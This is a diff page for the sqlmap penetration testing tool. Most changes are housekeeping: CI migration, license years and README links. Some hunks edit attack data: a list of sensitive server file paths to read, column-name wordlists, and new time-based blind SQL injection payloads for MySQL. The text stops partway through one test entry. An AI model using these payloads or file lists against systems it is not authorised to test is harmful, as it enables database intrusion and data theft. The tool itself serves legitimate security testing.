mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Compare commits
165 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
519c0ac01b | ||
|
|
6276db1d80 | ||
|
|
3c9f55b5d5 | ||
|
|
7d5883f1ed | ||
|
|
0de0fa047e | ||
|
|
477ffd848a | ||
|
|
1d8643db09 | ||
|
|
122c47146d | ||
|
|
92b065276f | ||
|
|
90b145ee87 | ||
|
|
b185b5e989 | ||
|
|
3f0ffafaea | ||
|
|
953a51c29f | ||
|
|
4cc6afe0fc | ||
|
|
8d98347a43 | ||
|
|
687cde5a15 | ||
|
|
aefd0485ed | ||
|
|
54e342399d | ||
|
|
88798cf02b | ||
|
|
c988d4f6d0 | ||
|
|
8c904bf73c | ||
|
|
9e17babe7b | ||
|
|
fc9875fc12 | ||
|
|
bfaa4cbf8d | ||
|
|
ad7da11946 | ||
|
|
08cb06fb65 | ||
|
|
cceb5319ef | ||
|
|
8a57002b26 | ||
|
|
e7315ccd4d | ||
|
|
e435d1e712 | ||
|
|
f0194a8814 | ||
|
|
e03404283c | ||
|
|
18013bc8b2 | ||
|
|
0517979e0a | ||
|
|
a3100ff069 | ||
|
|
b65c17608f | ||
|
|
aec527dbee | ||
|
|
e9d7a770e1 | ||
|
|
182c06e26b | ||
|
|
c4680b7e04 | ||
|
|
f1621d0d89 | ||
|
|
69900a6c6e | ||
|
|
7d31de1124 | ||
|
|
59bd03f1a9 | ||
|
|
7f7e78a517 | ||
|
|
9ac251142c | ||
|
|
c712e9c22f | ||
|
|
954a8e6ee7 | ||
|
|
6ce9e40a90 | ||
|
|
7878c22cd2 | ||
|
|
dec550b1c9 | ||
|
|
3ff4bb8938 | ||
|
|
aeaa776ca9 | ||
|
|
08eeb0fd88 | ||
|
|
c8d06d1099 | ||
|
|
a48ce3c12a | ||
|
|
d8b15c14b6 | ||
|
|
fc0ba39045 | ||
|
|
5ea5fc896b | ||
|
|
374f38fdce | ||
|
|
95b69d2c61 | ||
|
|
3d01a9106e | ||
|
|
95e0b368f2 | ||
|
|
564c5a2494 | ||
|
|
cfa5042358 | ||
|
|
353a6251dd | ||
|
|
94706bd7fc | ||
|
|
a9f998273c | ||
|
|
1d6d2c1892 | ||
|
|
e6532f3faf | ||
|
|
72572d2b97 | ||
|
|
7bb91805db | ||
|
|
7f8e38bacf | ||
|
|
c90b243b50 | ||
|
|
c24e4a7086 | ||
|
|
79e0fc7602 | ||
|
|
db2e34f6e0 | ||
|
|
24e3b6a84e | ||
|
|
f322306cb2 | ||
|
|
8f84b740da | ||
|
|
5fae5c3787 | ||
|
|
590480d6ac | ||
|
|
d95406016c | ||
|
|
6e968584f6 | ||
|
|
cc5ba4753c | ||
|
|
afa4d2c514 | ||
|
|
d63401632c | ||
|
|
45553f0efc | ||
|
|
f1dbe9e388 | ||
|
|
3977be9c9e | ||
|
|
9da558f041 | ||
|
|
b3bc401f2e | ||
|
|
06cd97f097 | ||
|
|
293772348c | ||
|
|
2679c650aa | ||
|
|
179a6edf92 | ||
|
|
8af87c7ea6 | ||
|
|
3a1dd163ec | ||
|
|
f8a9288953 | ||
|
|
8895b7d09d | ||
|
|
fa05878712 | ||
|
|
795b9e6521 | ||
|
|
1f3a1410f2 | ||
|
|
69c679cf06 | ||
|
|
5ea08b397a | ||
|
|
7c41967865 | ||
|
|
255dce8c49 | ||
|
|
7c7c338705 | ||
|
|
63073a1873 | ||
|
|
295cd15dff | ||
|
|
3463341bad | ||
|
|
88553d3540 | ||
|
|
ab90447600 | ||
|
|
a23faaeb8c | ||
|
|
6942abf090 | ||
|
|
3c25f79a9b | ||
|
|
94ab17829e | ||
|
|
c4c1571902 | ||
|
|
da86486cd9 | ||
|
|
dccc837703 | ||
|
|
452915ed4a | ||
|
|
35e575c287 | ||
|
|
015a8f0a6d | ||
|
|
0896a49500 | ||
|
|
95511c8ff9 | ||
|
|
8bf1650d65 | ||
|
|
ff645a767b | ||
|
|
cfa7b3c3bd | ||
|
|
76b310cc43 | ||
|
|
9a6acd2054 | ||
|
|
387020ece8 | ||
|
|
732b9670d2 | ||
|
|
1159c9ccae | ||
|
|
cadbf170f0 | ||
|
|
fc486c8b34 | ||
|
|
cfe43e3f2b | ||
|
|
6395481aa4 | ||
|
|
2380ab1e86 | ||
|
|
dd32bfb0cc | ||
|
|
b7d90bbe03 | ||
|
|
86170e177c | ||
|
|
bce3abc829 | ||
|
|
8d6125f067 | ||
|
|
506e3f0871 | ||
|
|
6145944dc7 | ||
|
|
61186b979b | ||
|
|
4d4b9a1175 | ||
|
|
133e2c8c61 | ||
|
|
38c341076d | ||
|
|
40e4422bbd | ||
|
|
98ac1cf9c1 | ||
|
|
56721240fa | ||
|
|
c81414cf25 | ||
|
|
2e195a35dc | ||
|
|
89d25a16ce | ||
|
|
9bc466edac | ||
|
|
32b7f3040e | ||
|
|
f066e215e5 | ||
|
|
4e65ff4689 | ||
|
|
1e8bf1c78a | ||
|
|
657c6519ea | ||
|
|
970c7f6a76 | ||
|
|
105e314ec8 | ||
|
|
dd963a042d | ||
|
|
0df2592622 |
1
.github/FUNDING.yml
vendored
Normal file
1
.github/FUNDING.yml
vendored
Normal file
@@ -0,0 +1 @@
|
|||||||
|
custom: 'https://www.paypal.com/donate?hosted_button_id=A34GMDLKA2V7G'
|
||||||
25
.github/workflows/tests.yml
vendored
Normal file
25
.github/workflows/tests.yml
vendored
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches: [ master ]
|
||||||
|
pull_request:
|
||||||
|
branches: [ master ]
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, macos-latest, windows-latest]
|
||||||
|
python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ]
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v2
|
||||||
|
- name: Set up Python
|
||||||
|
uses: actions/setup-python@v2
|
||||||
|
with:
|
||||||
|
python-version: ${{ matrix.python-version }}
|
||||||
|
- name: Basic import test
|
||||||
|
run: python -c "import sqlmap; import sqlmapapi"
|
||||||
|
- name: Smoke test
|
||||||
|
run: python sqlmap.py --smoke
|
||||||
|
- name: Vuln test
|
||||||
|
run: python sqlmap.py --vuln
|
||||||
19
.travis.yml
19
.travis.yml
@@ -1,19 +0,0 @@
|
|||||||
language: python
|
|
||||||
jobs:
|
|
||||||
include:
|
|
||||||
- python: 2.6
|
|
||||||
dist: trusty
|
|
||||||
- python: 2.7
|
|
||||||
dist: trusty
|
|
||||||
- python: 3.3
|
|
||||||
dist: trusty
|
|
||||||
- python: 3.6
|
|
||||||
dist: trusty
|
|
||||||
- python: nightly
|
|
||||||
dist: bionic
|
|
||||||
git:
|
|
||||||
depth: 1
|
|
||||||
script:
|
|
||||||
- python -c "import sqlmap; import sqlmapapi"
|
|
||||||
- python sqlmap.py --smoke
|
|
||||||
- python sqlmap.py --vuln
|
|
||||||
46
COMMITMENT
46
COMMITMENT
@@ -1,46 +0,0 @@
|
|||||||
GPL Cooperation Commitment
|
|
||||||
Version 1.0
|
|
||||||
|
|
||||||
Before filing or continuing to prosecute any legal proceeding or claim
|
|
||||||
(other than a Defensive Action) arising from termination of a Covered
|
|
||||||
License, we commit to extend to the person or entity ('you') accused
|
|
||||||
of violating the Covered License the following provisions regarding
|
|
||||||
cure and reinstatement, taken from GPL version 3. As used here, the
|
|
||||||
term 'this License' refers to the specific Covered License being
|
|
||||||
enforced.
|
|
||||||
|
|
||||||
However, if you cease all violation of this License, then your
|
|
||||||
license from a particular copyright holder is reinstated (a)
|
|
||||||
provisionally, unless and until the copyright holder explicitly
|
|
||||||
and finally terminates your license, and (b) permanently, if the
|
|
||||||
copyright holder fails to notify you of the violation by some
|
|
||||||
reasonable means prior to 60 days after the cessation.
|
|
||||||
|
|
||||||
Moreover, your license from a particular copyright holder is
|
|
||||||
reinstated permanently if the copyright holder notifies you of the
|
|
||||||
violation by some reasonable means, this is the first time you
|
|
||||||
have received notice of violation of this License (for any work)
|
|
||||||
from that copyright holder, and you cure the violation prior to 30
|
|
||||||
days after your receipt of the notice.
|
|
||||||
|
|
||||||
We intend this Commitment to be irrevocable, and binding and
|
|
||||||
enforceable against us and assignees of or successors to our
|
|
||||||
copyrights.
|
|
||||||
|
|
||||||
Definitions
|
|
||||||
|
|
||||||
'Covered License' means the GNU General Public License, version 2
|
|
||||||
(GPLv2), the GNU Lesser General Public License, version 2.1
|
|
||||||
(LGPLv2.1), or the GNU Library General Public License, version 2
|
|
||||||
(LGPLv2), all as published by the Free Software Foundation.
|
|
||||||
|
|
||||||
'Defensive Action' means a legal proceeding or claim that We bring
|
|
||||||
against you in response to a prior proceeding or claim initiated by
|
|
||||||
you or your affiliate.
|
|
||||||
|
|
||||||
'We' means each contributor to this repository as of the date of
|
|
||||||
inclusion of this file, including subsidiaries of a corporate
|
|
||||||
contributor.
|
|
||||||
|
|
||||||
This work is available under a Creative Commons Attribution-ShareAlike
|
|
||||||
4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
|
|
||||||
2
LICENSE
2
LICENSE
@@ -1,7 +1,7 @@
|
|||||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||||
of the GNU General Public License (GPL) is appended to this file.
|
of the GNU General Public License (GPL) is appended to this file.
|
||||||
|
|
||||||
sqlmap is (C) 2006-2021 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
sqlmap is (C) 2006-2022 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||||
|
|
||||||
This program is free software; you may redistribute and/or modify it under
|
This program is free software; you may redistribute and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
11
README.md
11
README.md
@@ -1,11 +1,9 @@
|
|||||||
# sqlmap 
|
# sqlmap 
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
||||||
|
|
||||||
**sqlmap is sponsored by [SpyderSec](https://spydersec.com/).**
|
|
||||||
|
|
||||||
Screenshots
|
Screenshots
|
||||||
----
|
----
|
||||||
|
|
||||||
@@ -22,7 +20,7 @@ Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlm
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
|
sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
|
||||||
|
|
||||||
Usage
|
Usage
|
||||||
----
|
----
|
||||||
@@ -41,14 +39,14 @@ To get an overview of sqlmap capabilities, a list of supported features, and a d
|
|||||||
Links
|
Links
|
||||||
----
|
----
|
||||||
|
|
||||||
* Homepage: http://sqlmap.org
|
* Homepage: https://sqlmap.org
|
||||||
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
||||||
Translations
|
Translations
|
||||||
@@ -68,6 +66,7 @@ Translations
|
|||||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||||
|
* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
|
||||||
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
||||||
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
||||||
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
|
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
id
|
id
|
||||||
@@ -2674,6 +2674,7 @@ jeda
|
|||||||
jenis
|
jenis
|
||||||
jml
|
jml
|
||||||
judul
|
judul
|
||||||
|
jumlah
|
||||||
kata_kunci
|
kata_kunci
|
||||||
kata_sandi
|
kata_sandi
|
||||||
katakunci
|
katakunci
|
||||||
@@ -2686,6 +2687,7 @@ kunci
|
|||||||
lahir
|
lahir
|
||||||
nama
|
nama
|
||||||
nama_akun
|
nama_akun
|
||||||
|
nama_ibu_kandung
|
||||||
nama_pengguna
|
nama_pengguna
|
||||||
namaakun
|
namaakun
|
||||||
namapengguna
|
namapengguna
|
||||||
@@ -2695,6 +2697,7 @@ pengguna
|
|||||||
penjelasan
|
penjelasan
|
||||||
perusahaan
|
perusahaan
|
||||||
ponsel
|
ponsel
|
||||||
|
profesi
|
||||||
ruang
|
ruang
|
||||||
sandi
|
sandi
|
||||||
soal
|
soal
|
||||||
@@ -2702,6 +2705,7 @@ surat_elektronik
|
|||||||
surel
|
surel
|
||||||
tanggal
|
tanggal
|
||||||
tanggal_lahir
|
tanggal_lahir
|
||||||
|
telepon
|
||||||
tempat
|
tempat
|
||||||
tempat_lahir
|
tempat_lahir
|
||||||
tmp_lahir
|
tmp_lahir
|
||||||
|
|||||||
@@ -1,6 +1,12 @@
|
|||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
|
# CTFs
|
||||||
|
|
||||||
|
/flag
|
||||||
|
/flag.txt
|
||||||
|
/readflag
|
||||||
|
|
||||||
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
||||||
|
|
||||||
/apache/logs/access.log
|
/apache/logs/access.log
|
||||||
@@ -1718,6 +1724,7 @@
|
|||||||
/etc/php4/apache2/php.ini
|
/etc/php4/apache2/php.ini
|
||||||
/etc/php5/apache/php.ini
|
/etc/php5/apache/php.ini
|
||||||
/etc/php5/apache2/php.ini
|
/etc/php5/apache2/php.ini
|
||||||
|
/etc/php/7.4/apache2/php.ini
|
||||||
/etc/php/php.ini
|
/etc/php/php.ini
|
||||||
/usr/local/apache/conf/modsec.conf
|
/usr/local/apache/conf/modsec.conf
|
||||||
/var/cpanel/cpanel.config
|
/var/cpanel/cpanel.config
|
||||||
@@ -1793,9 +1800,10 @@
|
|||||||
|
|
||||||
# Misc
|
# Misc
|
||||||
|
|
||||||
/etc/lib/nfs/etab
|
|
||||||
/app/app.js
|
/app/app.js
|
||||||
/app/configure.js
|
/app/configure.js
|
||||||
/app/config/config.json
|
/app/config/config.json
|
||||||
/flag.txt
|
/etc/grafana/grafana.ini
|
||||||
/readflag
|
/opt/kibana/config/kibana.yml
|
||||||
|
/etc/kibana/kibana.yml
|
||||||
|
/etc/elasticsearch/elasticsearch.yml
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
[Banners]
|
[Banners]
|
||||||
@@ -12,7 +12,9 @@
|
|||||||
5.1.
|
5.1.
|
||||||
5.5.
|
5.5.
|
||||||
5.6.
|
5.6.
|
||||||
|
5.7.
|
||||||
6.0.
|
6.0.
|
||||||
|
8.0.
|
||||||
|
|
||||||
# PostgreSQL
|
# PostgreSQL
|
||||||
PostgreSQL 7.0
|
PostgreSQL 7.0
|
||||||
@@ -30,6 +32,13 @@ PostgreSQL 9.0
|
|||||||
PostgreSQL 9.1
|
PostgreSQL 9.1
|
||||||
PostgreSQL 9.2
|
PostgreSQL 9.2
|
||||||
PostgreSQL 9.3
|
PostgreSQL 9.3
|
||||||
|
PostgreSQL 9.4
|
||||||
|
PostgreSQL 9.5
|
||||||
|
PostgreSQL 9.6
|
||||||
|
PostgreSQL 10.
|
||||||
|
PostgreSQL 11.
|
||||||
|
PostgreSQL 12.
|
||||||
|
PostgreSQL 13.
|
||||||
|
|
||||||
# Oracle
|
# Oracle
|
||||||
Oracle Database 9i Standard Edition Release
|
Oracle Database 9i Standard Edition Release
|
||||||
@@ -49,12 +58,18 @@ Oracle Database 11g Express Edition Release
|
|||||||
Oracle Database 11g Express Edition Release 11.
|
Oracle Database 11g Express Edition Release 11.
|
||||||
Oracle Database 11g Enterprise Edition Release
|
Oracle Database 11g Enterprise Edition Release
|
||||||
Oracle Database 11g Enterprise Edition Release 11.
|
Oracle Database 11g Enterprise Edition Release 11.
|
||||||
|
Oracle Database 12c
|
||||||
|
|
||||||
# Microsoft SQL Server
|
# Microsoft SQL Server
|
||||||
Microsoft SQL Server 7.0
|
Microsoft SQL Server 7.0
|
||||||
Microsoft SQL Server 2000
|
Microsoft SQL Server 2000
|
||||||
Microsoft SQL Server 2005
|
Microsoft SQL Server 2005
|
||||||
Microsoft SQL Server 2008
|
Microsoft SQL Server 2008
|
||||||
|
Microsoft SQL Server 2012
|
||||||
|
Microsoft SQL Server 2014
|
||||||
|
Microsoft SQL Server 2016
|
||||||
|
Microsoft SQL Server 2017
|
||||||
|
Microsoft SQL Server 2019
|
||||||
|
|
||||||
|
|
||||||
[Users]
|
[Users]
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
users
|
users
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Opera
|
# Opera
|
||||||
|
|||||||
Binary file not shown.
@@ -34,7 +34,7 @@
|
|||||||
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
||||||
|
|
||||||
<regexp value="Windows.*\b10\.0">
|
<regexp value="Windows.*\b10\.0">
|
||||||
<info type="Windows" distrib="2019|2016|10"/>
|
<info type="Windows" distrib="2016|2019|10|11"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Windows.*\b6\.3">
|
<regexp value="Windows.*\b6\.3">
|
||||||
|
|||||||
@@ -163,6 +163,10 @@
|
|||||||
<info type="Linux" distrib="Debian" release="10" codename="buster"/>
|
<info type="Linux" distrib="Debian" release="10" codename="buster"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.48 \(Debian\)">
|
||||||
|
<info type="Linux" distrib="Debian" release="11" codename="bullseye"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: Fedora -->
|
<!-- Apache: Fedora -->
|
||||||
|
|
||||||
<regexp value="Apache/2\.0\.47 \(Fedora\)">
|
<regexp value="Apache/2\.0\.47 \(Fedora\)">
|
||||||
@@ -315,7 +319,11 @@
|
|||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.4\.46 \(Fedora\)">
|
<regexp value="Apache/2\.4\.46 \(Fedora\)">
|
||||||
<info type="Linux" distrib="Fedora" release="33"/>
|
<info type="Linux" distrib="Fedora" release="33|34"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Apache/2\.4\.51 \(Fedora\)">
|
||||||
|
<info type="Linux" distrib="Fedora" release="35"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<!-- Apache: FreeBSD -->
|
<!-- Apache: FreeBSD -->
|
||||||
@@ -858,7 +866,7 @@
|
|||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Apache/2\.4\.41 \(Ubuntu\)">
|
<regexp value="Apache/2\.4\.41 \(Ubuntu\)">
|
||||||
<info type="Linux" distrib="Ubuntu" release="19.10|20.04" codename="eoan|focal"/>
|
<info type="Linux" distrib="Ubuntu" release="19.10|20.04|20.10" codename="eoan|focal"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<!-- Nginx -->
|
<!-- Nginx -->
|
||||||
|
|||||||
@@ -85,7 +85,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 stacked queries (heavy query - comment)</title>
|
<title>MySQL < 5.0.12 stacked queries (BENCHMARK - comment)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -105,7 +105,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 stacked queries (heavy query)</title>
|
<title>MySQL < 5.0.12 stacked queries (BENCHMARK)</title>
|
||||||
<stype>4</stype>
|
<stype>4</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -486,7 +486,7 @@
|
|||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>IBM DB2 stacked queries (heavy query - comment)</title>
|
<title>IBM DB2 stacked queries (heavy query - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>4</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
@@ -506,7 +506,7 @@
|
|||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>IBM DB2 stacked queries (heavy query)</title>
|
<title>IBM DB2 stacked queries (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>4</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
@@ -607,7 +607,7 @@
|
|||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>SAP MaxDB stacked queries (heavy query - comment)</title>
|
<title>SAP MaxDB stacked queries (heavy query - comment)</title>
|
||||||
<stype>5</stype>
|
<stype>4</stype>
|
||||||
<level>4</level>
|
<level>4</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
@@ -627,7 +627,7 @@
|
|||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>SAP MaxDB stacked queries (heavy query)</title>
|
<title>SAP MaxDB stacked queries (heavy query)</title>
|
||||||
<stype>5</stype>
|
<stype>4</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
<clause>1-8</clause>
|
<clause>1-8</clause>
|
||||||
|
|||||||
@@ -169,7 +169,7 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 AND time-based blind (heavy query)</title>
|
<title>MySQL < 5.0.12 AND time-based blind (BENCHMARK)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<risk>2</risk>
|
<risk>2</risk>
|
||||||
@@ -189,7 +189,27 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 OR time-based blind (heavy query)</title>
|
<title>MySQL > 5.0.12 AND time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>2</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<time>[DELAYED]</time>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>> 5.0.12</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL < 5.0.12 OR time-based blind (BENCHMARK)</title>
|
||||||
<stype>5</stype>
|
<stype>5</stype>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
@@ -209,7 +229,27 @@
|
|||||||
</test>
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL < 5.0.12 AND time-based blind (heavy query - comment)</title>
|
<title>MySQL > 5.0.12 OR time-based blind (heavy query)</title>
|
||||||
|
<stype>5</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
